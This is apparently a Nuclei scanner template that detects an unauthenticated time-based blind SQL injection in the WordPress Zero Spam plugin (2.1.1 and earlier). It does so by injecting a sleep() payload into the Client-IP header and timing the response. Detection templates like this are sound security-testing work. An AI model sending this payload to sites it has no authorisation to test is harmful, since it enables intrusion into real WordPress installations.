34 lines
1.1 KiB
YAML
34 lines
1.1 KiB
YAML
id: zero-spam-sql-injection
|
|
|
|
info:
|
|
name: WordPress Zero Spam <= 2.1.1 - Blind SQL Injection
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
The WordPress Zero Spam WordPress plugin was affected by an Unauthenticated Blind SQL Injection security vulnerability.
|
|
remediation: Fixed in version 2.2.0
|
|
reference:
|
|
- https://wpscan.com/vulnerability/44cc8d59-9b45-46b7-afaf-894e4ba62dd5
|
|
- https://wordpress.org/plugins/zero-spam/
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
tags: time-based-sqli,wpscan,wp,wp-plugin,wordpress,zero-spam,sqli,unauth
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
@timeout: 10s
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Client-IP: '+(select(0)from(select(sleep(7)))v)+'
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration>=7'
|
|
- 'status_code == 200'
|
|
- 'contains(content_type, "text/html")'
|
|
- 'contains(body, "zerospam-js")'
|
|
condition: and
|
|
# digest: 4a0a00473045022016462ff7f1564d397767af5126e3f02eb7730fc2c382c18ac0b70976ef5b9bc0022100a3d90f5e9d6063e16efbd1e7e9e2adbf8862853b5f4539c8a2c99211db984250:922c64590222798bb761d5b6d8e72950 |